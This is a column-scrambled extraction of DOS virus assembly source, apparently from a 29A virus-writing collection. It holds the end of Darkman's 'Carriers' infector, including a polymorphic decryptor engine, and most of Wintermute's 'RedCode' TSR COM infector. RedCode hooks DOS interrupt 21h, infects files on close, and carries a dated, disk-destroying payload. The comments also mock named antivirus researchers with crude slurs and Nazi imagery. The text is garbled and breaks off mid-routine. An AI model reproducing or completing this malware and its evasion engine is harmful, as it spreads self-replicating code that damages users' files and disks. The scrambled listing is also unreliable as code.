ah,40h ; Write to file cx,(code_end-code_begin+1482h) dx bx ; Load registers from stack int21_simul_

mov pop pop and or call infect_exit_: xor pop pop pop pop pop ret

; Save AX at stack

ax,5701h ; Set file's date and time dx ; Load DX from stack (file date) cx ; Load CX from stack (file time) cl,11100000b ; CX = hours and minutes of file time cl,00011101b ; Set infection mark (58 seconds) int21_simul_ si,si ds

; Zero SI ; Save DS at stack

[si+(2ah*04h+02h)-(24h*04h)] [si+(2ah*04h)-(24h*04h)] [si+(24h*04h+02h)-(24h*04h)] [si+(24h*04h)-(24h*04h)] ; Return!

endp tst_file_ext proc near cmp ax,'OC' jne test_exe cmp cl,'M' ret

; Test file extension ; COM executable? ; Not equal? Jump to test_exe ; COM executable? ; Return!

test_exe: cmp jne cmp

ax,'XE' test_ov cl,'E'

ret

; EXE executable? ; Not equal? Jump to test_ov ; EXE executable? ; Return!

test_ov: cmp jne

ax,'VO' tst_fil_exit

; OV? executable? ; Not equal? Jump to tst_fil_exit

cmp je

cl,'L' tst_fil_exit

; OVL executable? ; Equal? Jump to tst_fil_exit

cmp tst_fil_exit: ret endp

cl,'R' ; Return!

div_by_pages proc near mov cx,200h div cx or je inc dont_inc_pag: ret endp

; OVR executable?

; Divide by pages ; Divide by pages ; DX:AX = filesize in pages

dx,dx ; No bytes in last 512-bytes page ... dont_inc_pag ; Equal? Jump to dont_inc_pag ax

; Increase total number of 512-byt...

comment * Carriers (polymorphic engine) Code by Darkman/29A

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

Calling parameters: AL Flags CX Length of original code BP Decryptor's offset DS:SI Pointer to original code ES:DI Pointer to decryptor + encrypted code Return parameters: CX Length of decryptor + encrypted code Flags: xxxxxxx1 xxxxxx1x 111111xx

Generate CS: in front of the decryption opcode. Generate garbage in the beginning. Unused.

Garbage instructions: JMP imm8; JMP imm16

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

Count/index registers: BX; BP; DI; SI Registers holding the decryption key: AL; AH; BL; BH; CL; CH; DL; DH; AX; BX; CX; DX; BP; SI; DI Decryptor: (One garbage instruction). (MOV reg,imm); MOV reg16,imm16 (Decryption key) (One garbage instruction). MOV reg16,imm16; (MOV reg,imm) (Offset of encrypted code) One garbage instruction. ADD (CS:)[reg16],imm/reg; SUB (CS:)[reg16],imm/reg; XOR (CS:)[reg16],im... One garbage instruction. ADD reg16,01h; ADD reg16,02h; INC reg16; INC reg16, INC reg16, SUB reg1... One garbage instruction. CMP reg16,imm16 (End of encrypted code) JA imm8/JAE imm8/JE imm8 (Beginning of encrypted code) JMP imm16 (Beginning of ADD (CS:)[reg16],imm8/reg8; SUB (CS:)[reg16],i... One garbage instruction. Min. decryptor size: 271 bytes. Max. decryptor size: 5250 bytes. Carriers (polymorphic engine) size: 487 bytes. I would like to thank Tcp/29A for the help and Rhincewind/VLAD for the Random Number Generator (RNG). * c_pe_poly

proc

near ; ; ; ; ;

; Carriers (polymorphic engine) Save SI at stack " CX " " " CX " " " DI " " " AX " "

push push push push push

si cx cx di ax

test jz

al,00000010b get_regs

call

gen_garbage

mov call xchg

ax,04h ; Random number within four rnd_in_range ax,bx ; BL = count/index register number

; Generate garbage in the beginning? ; Zero? Jump to get_regs

get_regs:

lea lodsb mov get_key_reg: call mov

si,[bx+index_table] ; SI = offset of count/index register ; AL = count/index register dh,al ; DH = " " get_rnd_num_ dl,al ; DL = register holding decryption...

and cmp je

al,00001111b al,00001100b get_key_reg

; AL = " " ; Stack pointer (SP)? ; Equal? Jump to get_key_reg

test jnz

al,00001000b test_reg16

; 16-bit encryption/decryption key? ; Not zero? Jump to test_reg16

al,00000011b

; AL = register holding decryption...

al,00000111b

; AL = register holding decryption...

and test_reg16: and

"

cmp je initial_regs: test jz

al,dh get_regs

; Count/index register equal to r...? ; Equal? Jump to get_regs

dl,00010000b gen_mov_r16_

call call

gen_mov_reg gen_mov_r16

jmp gen_mov_r16_: call call test_gen_cs: mov

test_gen_cs

; Generate MOV reg,imm first and ...? ; Zero? Jump to gen_mov_r16_

gen_mov_r16 gen_mov_reg [decrypt_off],di

; Store offset of decryption opcode

pop test jnz

ax ; Load AX from stack al,00000001b ; Generate CS: in front of the de...? gen_cs ; Not zero? Jump to gen_cs

test jz

dl,00100000b dont_gen_cs

; Generate CS? ; Zero? Jump to dont_gen_cs

gen_cs: mov stosb dont_gen_cs: call

al,00101110b ; CS: ; Store CS: tst_key_size

lea

si,decrypt_tbl

; SI = offset of decrypt_tbl

test jz

dl,01000000b key_reg_used

; Register holding decryption key? ; Zero? Jump to key_reg_used

or stosb

al,10000000b ; ADD [reg16],imm/SUB [reg16],imm/... ; Store ADD [reg16],imm/SUB [reg16...

call

lod_rnd_byte

call

gen_decrypt_

call

sto_temp_imm

jmp key_reg_used: xchg

gen_inc_r16_

call

lod_rnd_byte

or stosb

al,cl

mov mov and shl

al,dl ; AL = register holding decryption... cl,03h ; Shift register holding decryptio... al,00000111b ; AL = register holding decryption... al,cl ; AL = " " "

call gen_inc_r16: call gen_inc_r16_: mov call

ax,cx

; CL = decryption algorithm

; ADD [reg16],imm/SUB [reg16],imm/... ; Store ADD [reg16],imm/SUB [reg16...

gen_decrypt_ gen_garbage ax,04h ; Random number within four rnd_in_range

lea shl add lodsw

si,inc_r16_tbl-01h ; SI = offset of inc_r16_tbl-01h ax,01h ; Multiply increase index register... si,ax ; SI = offset of increase index re... ; AX = increase index register opcode

or cmp ja

ah,dh ; AH = count/index register ah,01000111b ; INC reg16? sto_inc_r16 ; Above? Jump to sto_inc_r16

mov stosw

al,ah

call

tst_key_siz_

jmp sto_inc_r16: stosw xchg

; INC reg16; INC reg16 ; Store INC reg16; INC reg16

gen_cmp_r16_

ax,bx

; Store increase index register op... ; BX = increase index register opcode

call

tst_key_size

inc

ax

cmp jb

bh,11101000b sto_inc_r16_

neg sto_inc_r16_: stosw cmp jne

; Increase 16-bit immediate

ax

; Negate 16-bit immediate ; Store 16-bit immediate

bl,10000011b gen_cmp_r16

dec gen_cmp_r16: call gen_cmp_r16_: mov or stosw

; SUB reg16,imm16? ; Below? Jump to sto_inc_r16_

di

; ADD reg16,imm8? ; Not equal? Jump to gen_cmp_r16 ; 8-bit immediate

gen_garbage ax,1111100010000001b ah,dh ; CMP reg16,imm16 ; Store CMP reg16,imm16

mov stosw

[cmp_r16_i16],di ; Store offset of CMP reg16,imm16 ; Store 16-bit immediate

push lea call

cx ; Save CX at stack si,jmp_imm8_tbl ; SI = offset of jmp_imm8_tbl lod_rnd_byte

stosb get_rnd_num: mov call cmp jb

; Store jump condition ax,80h ; Random number within one hundred... rnd_in_range ax,40h ; Below sixty-four bytes? get_rnd_num ; Below? Jump to get_rnd_num

stosb

; Store 8-bit immediate

xchg

cx,ax

mov stosb

al,11101001b ; JMP imm16 ; Store JMP imm16

decrypt_off

equ

; CX = 8-bit immediate

word ptr $+01h

; Offset of decryption opcode

mov sub dec dec stosw sub garbage_loop: call

ax,00h ax,di ax ax

cx,(mcb_end-mcb+03h) get_rnd_num_

stosb loop pop

; DI = offset of decryption opcode ; Subtract offset of end of JMP im... ; Decrease 16-bit immediate ; " " " ; Store 16-bit immediate

; Store 8-bit random number garbage_loop cx ; Load CX from stack

pop ax ; Load AX from stack (DI) sub ax,di ; AX = length of decryptor neg ax ; Negate length of decryptor add ax,bp ; AX = offset of encrypted code wi... mov_r16_i16 equ word ptr $+01h ; Offset of MOV reg16,imm16 mov ds:[00h],ax ; Store offset of encrypted code pop test jz

bx ; Load BX from stack (CX) bl,00000001b ; Align offset of end of encrypte...? sto_cmp_r16 ; Zero? Jump to sto_cmp_r16

inc bx ; Increase offset of end of encryp... sto_cmp_r16: add ax,bx ; Add length of original code to o... cmp_r16_i16 equ word ptr $+01h ; Offset of CMP reg16,imm16 mov ds:[00h],ax ; Store offset of end of encrypted... push lea lea add mov mov stosb inc stosb get_rnd_key: call and jz cmp je

di ; Save DI at stack bx,encrypt_tbl ; BX = offset of encrypt_tbl di,encrypt_algo ; DI = offset of encrypt_algo bl,ch ; Add encryption/decryption algor... al,[bx] ; AL = encryption algorithm bx,di ; BX = offset of encrypt_algo ; Store encryption algorithm di ; Increase index register ; Store encryption algorithm get_rnd_num_ al,ah ; Weak encryption/decryption key? get_rnd_key ; Zero? Jump to get_rnd_key al,ah ; Weak encryption/decryption key? get_rnd_key ; Equal? Jump to get_rnd_key

mov_reg_imm equ word ptr $+01h ; Offset of MOV reg,imm mov di,00h ; BX = offset of MOV reg,imm test jz

dl,00001000b store_key

stosw inc mov db store_key: mov

; 8-bit encryption/decryption key? ; Zero? Jump to store_key

; Store 16-bit encryption/decrypti... byte ptr [bx] ; Store encryption algorithm byte ptr [bx+02h],00111000b 00111000b al,ah

; CMP [BP+SI+0AAC4],CL (opcode 38h) ; AL = 8-bit encryption/decryption...

stosb

; Store 8-bit encryption/decryptio...

xchg pop

ax,bx di

; BX = encryption/decryption key ; Load DI from stack

pop inc shr

cx cx cx,01h

; Load CX from stack ; Increase length of original code ; Divide length of original code b...

si

; Load SI from stack

pop encrypt_loop: lodsw

; AX = word of original code

encrypt_algo equ byte ptr $ ; Offset of encryption algorithm add al,bl ; AL = encrypted low-order byte of... add ah,bh ; AH = encrypted high-order byte o... stosw loop

; Store encrypted word encrypt_loop

ret endp

; Return!

gen_mov_reg proc near mov al,dl

; Generate MOV reg,imm ; AL = register holding decryption...

test jnz

al,01000000b gen_mov_exit

or stosb

al,10110000b ; MOV reg,imm ; Store MOV reg,imm

call gen_mov_exit: ret endp

; Register holding decryption key? ; Not zero? Jump gen_mov_exit

sto_temp_imm ; Return!

gen_mov_r16 proc near ; Generate MOV reg16,imm16 mov al,dh ; AL = count/index register or al,10111000b ; MOV reg16,imm16 stosb ; Store MOV reg16,imm16 mov stosw

[mov_r16_i16],di ; Store offset of MOV reg16,imm16 ; Store 16-bit immediate

call

gen_garbage

ret endp

; Return!

tst_key_size proc near ; Test size of encryption/decrypti... xor ax,ax ; Zero AX test dl,00001000b ; 8-bit encryption/decryption key? jz tst_key_exit ; Zero? Jump to tst_key_exit inc tst_key_exit: ret endp

ax

lod_rnd_byte proc near mov ax,03h

; 16-bit encryption/decryption key ; Return!

; Load random byte within table ; Random number within three

call mov

rnd_in_range ch,al ; CH = random number within three

add lodsb

si,ax

ret endp

; SI = offset of within table ; AL = byte of table ; Return!

gen_decrypt_ proc near ; Generate decryption opcode mov cl,al ; CL = decryption algorithm lea si,[bx+index_table_] lodsb ; AL = count/index register or stosb

al,cl

test jz

al,01000000b didnt_use_bp

xor stosb didnt_use_bp: ret endp

al,al

; ADD [reg16],imm/SUB [reg16],imm/... ; Store ADD [reg16],imm/SUB [reg16... ; Base pointer? ; Zero? Jump to didnt_use_bp

; Zero 8-bit immediate ; Store 8-bit immediate ; Return!

sto_temp_imm proc near ; Store temporary immediate mov [mov_reg_imm],di ; Store offset of MOV reg16,imm16 stosw ; Store 16-bit immediate tst_key_siz_ proc near test dl,00001000b jnz gen_garbage dec

di

; Test size of encryption/decrypti... ; 16-bit encryption/decryption key? ; Not zero? Jump to gen_garbage ; 8-bit immediate

gen_garbage proc near ; Generate garbage push ax cx ; Save registers at stack gen_garbage_: mov ax,401h ; Random number within one thousan... call rnd_in_range cmp ax,40h ; Below sixty-four bytes? jb gen_garbage_ ; Below? Jump to gen_garbage_ push cmp mov jb mov gen_jmp_i8: stosb

ax ; Save AX at stack ax,80h ; Generate JMP imm8 or JMP imm16? al,11101011b ; JMP imm8 (opcode 0ebh) gen_jmp_i8 ; Below? Jump to gen_jmp_i8 al,11101001b

; Store JMP imm8/JMP imm16

pop stosb jb

ax

dec

di

stosw gen_jmp_i8_: xchg garbage_loo_:

; JMP imm16 (opcode 0e9h)

; Load AX from stack ; Store 8-bit immediate gen_jmp_i8_ ; Below? Jump to gen_jmp_i8_ ; Decrease index register ; Store 16-bit immediate cx,ax

; CX = number of random bytes

call

get_rnd_num_

stosb

; Store 8-bit random number

loop

garbage_loo_

pop

cx ax

ret endp endp endp endp

; Load registers from stack ; Return!

rnd_in_range proc near ; Random number within range push bx dx ; Save registers at stack xchg ax,bx ; BX = number within range call get_rnd_num_ xor div xchg pop

dx,dx bx ax,dx dx bx

ret endp

; ; ; ;

Zero DX DX = random number within range AX = " " " " Load registers from stack

; Return!

; Modified version of the Random Number Generator (RNG) used in the Rickety ; and Hardly Insidious yet New Chaos Engine v 1.00 [RHINCE] by ; Rhincewind/VLAD. get_rnd_num_ proc near ; Get 16-bit random number in al,40h ; AL = 8-bit random number mov ah,al ; AH = " " " in al,40h ; AL = " " " random_num equ word ptr $+01h ; 16-bit random number adc ax,00h ; AX = 16-bit random number mov [random_num],ax ; Store 16-bit random number ret endp index_table db db index_table_ db db db decrypt_tbl db db inc_r16_tbl dw dw dw jmp_imm8_tbl db db encrypt_tbl db db

; Return!

db

db

db

db

db

db

00000011b 00000101b ; 00000110b ; 00000111b 01000110b ; 00000100b ; 00000101b ; 00000000b 00110000b ; 00101000b ; 01000000b 1100000010000011b 1100000010000001b 1110100010000001b 01110011b 01110100b ; 01110111b ; 00101010b 00110010b ; 00000010b ;

; Base register Base pointer Source index ; Destination/base register Base pointer Source index Destination index ; ADD [reg16],imm XOR [reg16],imm SUB [reg16],imm ; INC reg16 ; ADD reg16,imm8 ; ADD reg16,imm16 ; SUB reg16,imm16 ; JAE imm8 JE imm8 JA imm8 ; SUB reg8,reg8 XOR reg8,reg8 ADD reg8,reg8

command_com db 'COMMAND COM' ; COMMAND.COM virus_offset equ word ptr $+01h ; Offset of virus within infected ... infect_code db 11101001b,?,? ; JMP imm16 (opcode 0e9h) virus_name db ' [Carriers]' ; Name of the virus virus_author db ' [Darkman/29A] ' ; Author of the virus origin_code db 11001101b,00100000b,? code_end: db 15h dup(?) ; Original code of infected file filename db 80h dup(?) ; Canonicalized filename ; DOS parameter list dpl_begin: dpl_ax dw ? ; Accumulator register dpl_bx dw ? ; Base register dpl_cx dw ? ; Count register dpl_dx dw ? ; Data register dpl_si dw ? ; Source index dpl_di dw ? ; Destination index dpl_ds dw ? ; Data segment dpl_es dw ? ; Extra segment dpl_reserved dw 00h ; Reserved dpl_comp_id dw 00h ; Computer ID dpl_proc_id dw ? ; Process ID dpl_end: data_buffer db (code_end-code_begin+1482h) dup(?) data_end: move_mcb: cld ; Clear direction flag mov cx,(mcb_end-mcb)/02h lea di,code_begin+100h ; DI = offset of code_begin lea si,mcb+100h ; SI = offset of mcb rep movsw ; Move Memory Control Block (MCB) ...

mcb

jmp

virus_begin

db dw dw db

'Z' ; Last block in chain 08h ; Memory Control Block (MCB) belon... (data_end-virus_begin+0fh)/10h 00h,00h,00h,'SC',06h dup(00h)

mcb_end: end

code_begin

; ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±° ;±±±° ±±±° ;±±° Virus name: RedCode ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ±±° ;±±° Writer: Wintermute/29A ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ±±° ;±±° Size: Nah, not much ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ±±° ;±±° Origin: Spain ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ±±° ;±±° Finished: When all was done ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ±±° ;±±±° ±±±° ; ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±° ; ; ; For those who still don't know what RedCode and CoreWars are, go and ; look for some webpage in the net so you'll later understand the meaning ; and the reason to be of this virus... otherwise you'll feel like if you ; were trying to understand chinese scripts :) ; ; I started writing this virus to try to make a payload which came up to my ; mind one day after one couple kalimotxos ( wine+coke ) :*) and intensive ; Marilyn Manson sessions... what about a CoreWars game in your computer ? ; Imagine, two programs which fight as in CoreWars, trying to make impossi; ble to each other to do its next move and thus win the game... imagine, ; also, that this game takes place in the first sectors of your HD. ; ; So that's the virus payload. ; ; The payload is destructive ( because of obvious reasons, not just because ; now I like to destroy computers and that stuff ). However, the user may ; skip any damage and save his data just by not pressing 'enter' when the ; payload appears. By pressing the "G" key right now you will be able to see ; the NON-destructive version of the payload. ; ; About the virus itself, it's a 'lame TSR COM infector' which infects on ; closing/disinfects on opening using SFTs; some kind of 'joke virus', with ; some references to "near friends" in the code and in the comments ;-D ; ; ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Each time I look outside ; my mother dies, I feel my back is changing shape ; When the worm consumes the boy it's never ; considered rape. ; When they get to you ; Prick your finger it is done... ; the moon has now eclipsed the sun... ; the angel has spread his wings... ; the time has come for better things... ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ( Marilyn Manson ) ; ; assume cs:codigo,ds:codigo,es:codigo codigo segment org 00h bufferpos virus_size encrypt_size virus_start

equ virus_end-offset buffer equ virus_end-virus_start equ encrend-encrstart label byte

realstart: call

delta_offset

delta_offset: mov mov sub call

si,sp si,word ptr [si] si,offset delta_offset non_copied

encrstart: inc inc

sp sp

mov int cmp jz

ax,0bacah 21h ax,0bacah instalados

mov dec mov mov sub mov push pop int mov mov int push dec mov mov pop xor push lea push pop mov rep pop

ax,cs ; Oh, no, another Tsr routine ! ax es,ax bx,es:[3] bx,((virus_size+15)/16)+1 ah,4ah ; Come on, resize... ds es 21h ah,48h ; ( There's gotta be a place for me ) bx,((virus_size+15)/16) 21h ax ax es,ax word ptr es:[1],8 ; Typical residence routine with Dos es ;routines and no low level ( let's be di,di ;simple :-PP ) si si,realstart+si cs ds cx,virus_size/2+3 ; Hey, memory, here I am movsw si

push pop

es ds

mov int mov mov lea mov int push pop

ax,3521h ; Where are you, my love ? 21h ds:word ptr int21h,bx ds:word ptr int21h+2,es dx,Where_it_happens ax,2521h ; Come here ;) 21h cs cs ds es

instalados: mov push lea

di,100h di si,[si+buffer]

; Restore host

movsw movsw movsb ret pushed: dw

0

push_regs: cli pop pushf push push sti ret

cs:word ptr [pushed] ax bx cx dx es ds bp di si cs:word ptr [pushed]

pop_regs: cli pop pop popf push sti ret

cs:word ptr [pushed] si di bp ds es dx cx bx ax cs:word ptr [pushed]

push_stuff: pop push push push mov mov push ret

cs:word ptr [pushed] word ptr es:[di+0dh] word ptr es:[di+0fh] word ptr es:[di+04h] byte ptr es:[di+04h],0 byte ptr es:[di+2],2 cs:word ptr [pushed]

push mov int jc xor mov mov int clc

bx ; We get file's Sft ax,1220h 2fh nein bx,bx bl,byte ptr es:[di] ax,1216h 2fh

pop ret

bx

; Time ; Date ; Sets attribs ; Opening

get_sft:

nein:

set_int_24: pop mov call push mov push pop lea call push

cs:word ptr [pushed] ax,3524h callint21 es bx ah,25h ax cs ds dx,int24handler callint21 cs:word ptr [pushed]

ret

where_it_happens: cmp ax,0bacah jz check cmp ah,03dh je disinfect cmp ax,06c00h je disinfect cmp ax,4b01h je disinfect cmp ah,03eh jnz vamos_al_salto jmp infect_file vamos_al_salto: jmp salto

; Main center ( int21h handler ) ; La del coche se escribe con b :-P

check: call mov int cmp jnz jmp dont_payl: call iret

push_regs ah,02ah 21h dx,0101h dont_payl do_payload

; 1st january. Why not ? ; - Japi niu yiar !

pop_regs

;**************************************************************************** ; DISINFECTION ;---------------------------------------------------------------------------disinfect: call cmp jz mov extended: mov call mov mov xor mov call jnc jmp vamos_bien: xchg

push_regs ax,6c00h extended si,dx di,ds set_int_24 ds,di dx,si cx,cx ax,3d00h callint21 vamos_bien fuera_delto

; Opens the file that was going to ;be opened

ax,bx

call jc

get_sft outta_jiar

push pop mov mov lea

cs ds ah,3fh cx,2 dx,buffer

; Is it infected ?

call cmp jnz

callint21 word ptr ds:[buffer],05951h outta_jiar

call

push_stuff

; Let's start disinfecting mov push sub mov mov mov lea call mov mov des_loop: xor inc loop mov mov mov lea call pop sub mov mov xor call

rest_all: pop mov mov pop pop call outta_jiar: mov call fuera_delto: pop call call jmp

ax,word ptr es:[di+11h] ax ax,bufferpos word ptr es:[di+15h],ax ah,3fh cx,5h dx,buffer callint21

; File length

; We point to the buffer

; 5 bytes read

si,dx cx,5h ; We decrypt em ds:byte ptr[si],0feh si des_loop word ptr es:[di+15h],0 ah,40h cx,5h dx,buffer callint21 ax ax,virus_size word ptr es:[di+15h],ax ah,40h cx,cx callint21

ax byte ptr es:[di+4h],al ax,5701h dx cx callint21

; Recovers attributes

; Date ; Time

ah,3eh callint21 ax dx ds callint21

; Restore int24h

pop_regs salto

;**************************************************************************** ; INFECTION ;---------------------------------------------------------------------------infect_file: call

push_regs

mov call mov

si,bx set_int_24 bx,si

call jc

get_sft outta_jiar

push pop

cs ds

call

push_stuff

tira_palla: clc cmp jnz cmp jnz cmp jna cmp ja

word ptr cerramos byte ptr cerramos word ptr cerramos word ptr cerramos

; Errors Int

; actual Sft

es:[di+29h],'MO' es:[di+28h],'C' es:[di+11h],01388h es:[di+11h],0ea60h

mov mov mov lea call cmp jz cmp jz cmp jz

word ptr es:[di+15h],0 ; Five first bytes ah,3fh cx,5 dx,buffer callint21 word ptr ds:[buffer],'ZM' cerramos word ptr ds:[buffer],'MZ' cerramos word ptr ds:[buffer],05951h ; Are we there ? cerramos

mov mov

ax,word ptr es:[di+11h] word ptr es:[di+15h],ax

push call pop

ax di aporesaguarra di ax

sub mov mov

ax,5 word ptr cs:[jmptous+1h],ax word ptr es:[di+15h],0h

mov lea mov call

ah,40h dx,entrada cx,5 callint21

cerramos: jmp

rest_all ;********************************************* ; PAYLOAD-PAYLOAD-PAYLOAD-PAYLOAD-PAYLOAD ;*********************************************

do_payload:

mov int

ax,0013h 10h

; Mode 13h

mov mov call push pop lea call

dx,09h bx,7h set_cursor cs ds si,text1 write

; We write the first message about ;redcode_something

mov mov mov mov

ax,0a000h ds,ax bx,320*10+30 si,bx

; We draw the complete screen; squares ;of the game, blablabla ( this is done ;from here to the next comment )

mov push

cx,51d bx

push mov

cx bx si cx,125d

mov mov add inc inc loop

word ptr ds:[bx],808h byte ptr ds:[si],8h si,320d bx bx line

pop mov and

si bx cx ax,cx al,1

jnz add

not_this_time bx,320d*5d

block:

line:

not_this_time: add loop

si,5d block

pop mov mov

bx si,bx cx,125d

mov mov mov mov add inc inc loop mov

word ptr word ptr byte ptr byte ptr si,320d bx bx lados byte ptr

push push pop mov mov call

ds cs ds dx,1208h bx,42h set_cursor

lados: ds:[bx],0f0fh ds:[bx+09C40h],0f0fh ds:[si],0fh ds:[si+250d],0fh

ds:[si+250d],0fh

; Write the text about today's contest

lea call

si,text2 write

mov call mov lea call

dx,1402h set_cursor bx,36h si,text3 write

; We introduce the first warrior of ;this night

mov call mov lea call

dl,12h set_cursor bx,42h si,text4 write

; and...

mov call mov lea call

dl,17h set_cursor bx,2h si,text5 write

; The second fighter !

pop xor mov

ds ax,ax es,ax

; A000

;******************* ; Initial positions ;******************* mov cmp jna mov

al,byte ptr cs:[400h] al,248d @nopasana al,248d

; Gets coordinates

mov mov push mov and cmp jna mov

byte ptr cs:[prim_xpos],al byte ptr cs:[prim_at_x],al ax dl,byte ptr cs:[46ch] dl,01fh dl,24d @palante dl,24d

mov mov pop mov call

byte ptr cs:[prim_ypos],dl byte ptr cs:[prim_at_y],dl ax cx,09h ; Colour trazar ; We draw initial 1st fighter's position

@nopasana: ; for the first player

; Not the timer O:)

@palante:

@x_pos_again: mov cmp ja cmp jz mov mov push @y_pos_again: mov and cmp ja

al,byte ptr es:[46ch] ; Same for the 2nd one al,248d @x_pos_again byte ptr cs:[prim_xpos],al ;checking they aren't on the @x_pos_again ;same pos. byte ptr cs:[seg_xpos],al byte ptr cs:[atta_x2],al ax al,byte ptr es:[46ch] al,01fh al,24d @y_pos_again

@bien:

mov cmp jz mov mov pop

dl,al byte ptr cs:[prim_ypos],al @y_pos_again byte ptr cs:[seg_ypos],al byte ptr cs:[atta_y2],al ax

mov call

cx,0ah trazar

inc cmp jna sub inc cmp jna xor mov mov mov call

al al,248d @bien al,250d dl dl,24d @bien dl,dl byte ptr cs:[Spe_posx],al byte ptr cs:[Spe_posy],dl cx,0ah trazar

mov int

ah,07h 21h

; Player's colour

; When user presses a key... ;fiesta starts !!!

; AND THE GAME BEGINS... the warriors start fighting, placed each ; of them in a random sector... first, Big Butt Gass¢ will move. ; Later, Himmler Fewster will.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Big Butt Gass¢ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Data: Big Butt Gass¢, also known as 'Babe', is a brave Yorkshire little pig whose only objective in this life is becoming a shepherd; he believes he is a sheepdog. Albeit, in all his life trying to be a sheepdog, he has suffered much because of some sheeps that didn't understand his likes or why does he want to became a sheepdog Sheeps didn't understand him, and told him things as " Hummm, why do we need a pig that only insults us and tells us that this or that kind of food is bad for us ? We prefer dogs !!! ". Or even worse, dogs themselves, insulting him and depressing him; cause of this, he had to go out from GRANJA.R34 :'''-( But one day, Big Butt knew "Rata Grasienta", a good friend that had simpathy to Big; discovered him RedCode, a kickass game from which he could demonstrate he was someone ( or just sink into his bullshit... ) So, here he is, come on Gass¢ ! Listing: ( could be bigger, but... how big do you thing the brain of a pig is ? )

BEGIN Gronf.War

( .Warrior )

; dat -1 ; > add #4 -1 ; mov -2 @-2 ; jmp -2 ;

movements: mov mov add cmp jna sub inc cmp jna xor

al,byte ptr cs:[prim_at_x] dl,byte ptr cs:[prim_at_y] al,4h al,248d correcto al,250d dl dl,24d correcto dl,dl

; Big Butt Gass¢ moves

mov mov mov call call

byte ptr cs:[prim_at_x],al byte ptr cs:[prim_at_y],dl cx,36h trazar ne1destroyed ; Checks if someone was destroyed

correcto:

; Now it's Himmler Fewster's turn ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Himmler Fewster ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Our second warrior, was born from a FidoPet NC and a moderator whose secret vocation was beeing a Beverly Hills high level prostitute. So, Fewster's familiar environment wasn't good at all, and his personality went into violence and so; so young, he started playing with swastikas and insulting all people of different races than his; all non-AVer people Then, his problems began. He hated VXers and only had friends from the God chosen race, AVers, the race which at the judgement day would sit right ( or was it left ? ) of God At last, he became moderator of a Fido echoarea, recommended by his father and some friends from his race; from there, he could establish terror and silence about viruses. It was wonderful: if someone liked viruses, he could just squash and silence his dirty mouth. Even, he could make that stupid non-AVers believe that viruses jump from diskette to diskette, that they were an alive problem... there were no limits, he got the POWER. Albeit, there was a little problem, the last pitfall in Himmler Fewster's life; some FidoPet and Internet fools called "the PowerRangers" that attacked his ideas and defended ( oh, heresy! ) that virus writers knew most about viruses than antivirus writers... And... is there a better method than intelligence to attack them ? And... which method is better than a good RedCode to do it ? Bontchy, Fewster, and another AVer that had some problems to find

; the difference between F-potato chips and polymorphic engines, ; made the definitive warrior to attack... ; ; Listing: ; ; BEGIN VIRUS_INFO.WAR ( Written in Basic; although Gass¢'s ; warrior is one sector long, this is two sectors long, cause ; it's written in the AVers's secret megak00l superlanguage... ; 0f c0z, ZX Spectrum's Basic ! ) ; ; ; 5 let a=initxpos ; 10 input " Who are you/virus attitude/will you obey me? ",a$ ; 20 if a$<>"I'll be your slave" then 40 ; 30 print " Whatever ": Rem blah ; 40 print " Position banned " ; 50 let a=a-1 ; 60 goto 10 ; mov mov dec cmp jnz mov dec cmp jnz mov

al,byte ptr cs:[atta_x2] dl,byte ptr cs:[atta_y2] al al,0ffh finiquita al,248d dl dl,0ffh finiquita dl,024d

mov mov mov call call

byte ptr cs:[atta_x2],al byte ptr cs:[atta_y2],dl cx,2h trazar ne1destroyed

mov in test jne in test je

dx,3dah al,dx al,8 del1 al,dx al,8 del2

jmp

movements

; Big Butt Gass¢ moves

finiquita:

del1:

del2:

; Delay ( monitor retrace )

;****************** ; WRITING ROUTINES ;****************** set_cursor:

; Place cursor where told by the program mov xor int ret

ah,2 bh,bh 10h

write: lodsb or je

al,al finished

mov int jmp finished:

ah,0eh 10h write

ret ;************************* ; TRACE A POSITION SQUARE ;*************************

trazar: push

ax dx

xor xor add xchg

dh,dh ah,ah ax,31d bx,ax

mov mul add xchg mov mul add

ax,5d dx ax,11d ax,dx ax,320d dx bx,ax

mov mov push

dl,cl cl,4 bx

mov add loop pop pop

byte ptr ds:[bx],dl bx,320d @paint bx dx ax

; We've got X pos in Al, Y pos in Dl

; Now, we've got in bx the X

;*

@paint:

ret ; ********** CHECK ************ Ne1destroyed: cmp jnz cmp jnz jmp

; Routine to check if some crap were put ; on the players's byte ptr cs:[prim_xpos],al ; positions not_gasso byte ptr cs:[prim_ypos],dl not_gasso gassodied

cmp jnz cmp jnz jmp

